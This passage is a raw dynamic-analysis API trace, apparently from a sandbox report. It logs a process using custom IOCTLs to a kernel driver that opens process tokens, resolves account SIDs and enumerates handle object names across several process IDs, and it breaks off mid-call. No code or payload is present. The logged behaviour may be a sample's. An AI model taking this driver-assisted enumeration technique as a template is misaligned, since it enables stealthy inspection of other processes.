0x0 [0074.757] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.758] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.758] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.758] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa60) returned 0xc0 [0074.758] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.758] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002001330, HandleInformation=0x0) returned 0x0 [0074.758] ObOpenObjectByPointer (in: Object=0xfffffa8002001330, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.758] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x12 [0074.758] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.758] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.758] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.758] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.758] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.759] CloseHandle (hObject=0xc8) returned 1 [0074.759] CloseHandle (hObject=0xc0) returned 1 [0074.759] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.759] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.759] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.760] PsAcquireProcessExitSynchronization () returned 0x0 [0074.760] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054f85d0) [0074.760] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002001bd0, HandleInformation=0x0) returned 0x0 [0074.760] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.760] PsReleaseProcessExitSynchronization () returned 0x2 [0074.760] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0074.760] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.760] ObfDereferenceObject (Object=0xfffffa8002001bd0) returned 0x1 [0074.760] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.760] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.760] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.760] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0074.760] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.760] PsAcquireProcessExitSynchronization () returned 0x0 [0074.760] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054f85d0) [0074.760] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020b71b0, HandleInformation=0x0) returned 0x0 [0074.760] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.760] PsReleaseProcessExitSynchronization () returned 0x2 [0074.760] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0074.760] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.760] ObfDereferenceObject (Object=0xfffffa80020b71b0) returned 0x1 [0074.760] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.760] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.760] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.760] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.760] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.760] PsAcquireProcessExitSynchronization () returned 0x0 [0074.760] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054f85d0) [0074.761] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.761] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.761] PsReleaseProcessExitSynchronization () returned 0x2 [0074.761] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0074.761] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.761] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.761] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.761] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.761] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa70) returned 0xc0 [0074.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.761] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020c2b30, HandleInformation=0x0) returned 0x0 [0074.761] ObOpenObjectByPointer (in: Object=0xfffffa80020c2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.761] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x12 [0074.761] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.761] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.761] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.761] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.761] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.762] CloseHandle (hObject=0xc8) returned 1 [0074.763] CloseHandle (hObject=0xc0) returned 1 [0074.763] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.763] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.763] PsAcquireProcessExitSynchronization () returned 0x0 [0074.763] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054f85d0) [0074.763] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002069b00, HandleInformation=0x0) returned 0x0 [0074.763] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.763] PsReleaseProcessExitSynchronization () returned 0x2 [0074.763] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0074.763] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.763] ObfDereferenceObject (Object=0xfffffa8002069b00) returned 0x1 [0074.763] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.763] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.763] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0074.763] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.763] PsAcquireProcessExitSynchronization () returned 0x0 [0074.763] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054f85d0) [0074.763] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800207a800, HandleInformation=0x0) returned 0x0 [0074.763] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.763] PsReleaseProcessExitSynchronization () returned 0x2 [0074.763] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0074.763] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.763] ObfDereferenceObject (Object=0xfffffa800207a800) returned 0x1 [0074.763] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.764] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.764] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.764] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.764] PsAcquireProcessExitSynchronization () returned 0x0 [0074.764] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054f85d0) [0074.764] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.764] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.764] PsReleaseProcessExitSynchronization () returned 0x2 [0074.764] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0074.764] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.764] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.764] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.764] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.764] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa80) returned 0xc0 [0074.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.764] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020a64e0, HandleInformation=0x0) returned 0x0 [0074.764] ObOpenObjectByPointer (in: Object=0xfffffa80020a64e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.764] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x12 [0074.764] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.764] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.764] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.764] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.764] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.766] CloseHandle (hObject=0xc8) returned 1 [0074.766] CloseHandle (hObject=0xc0) returned 1 [0074.766] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.766] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.766] PsAcquireProcessExitSynchronization () returned 0x0 [0074.766] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054f85d0) [0074.766] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020a6e10, HandleInformation=0x0) returned 0x0 [0074.766] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.766] PsReleaseProcessExitSynchronization () returned 0x2 [0074.766] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0074.766] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003900044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003900044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.766] ObfDereferenceObject (Object=0xfffffa80020a6e10) returned 0x1 [0074.766] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.766] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.766] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0074.766] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.766] PsAcquireProcessExitSynchronization () returned 0x0 [0074.766] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054f85d0) [0074.766] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020b2f20, HandleInformation=0x0) returned 0x0 [0074.766] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.767] PsReleaseProcessExitSynchronization () returned 0x2 [0074.767] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0074.767] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.767] ObfDereferenceObject (Object=0xfffffa80020b2f20) returned 0x1 [0074.767] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.767] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.767] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.767] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.767] PsAcquireProcessExitSynchronization () returned 0x0 [0074.767] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054f85d0) [0074.767] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.767] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.767] PsReleaseProcessExitSynchronization () returned 0x2 [0074.767] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0074.767] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003903044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003903044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.767] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.767] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.767] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.767] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa90) returned 0xc0 [0074.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.767] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020d7b30, HandleInformation=0x0) returned 0x0 [0074.767] ObOpenObjectByPointer (in: Object=0xfffffa80020d7b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.767] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x12 [0074.767] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.767] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.767] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.767] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.767] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.769] CloseHandle (hObject=0xc8) returned 1 [0074.769] CloseHandle (hObject=0xc0) returned 1 [0074.769] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.769] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.769] PsAcquireProcessExitSynchronization () returned 0x0 [0074.769] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054f85d0) [0074.769] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020caa70, HandleInformation=0x0) returned 0x0 [0074.769] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.769] PsReleaseProcessExitSynchronization () returned 0x2 [0074.769] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0074.769] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003905044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003905044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.769] ObfDereferenceObject (Object=0xfffffa80020caa70) returned 0x1 [0074.769] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.769] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.769] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 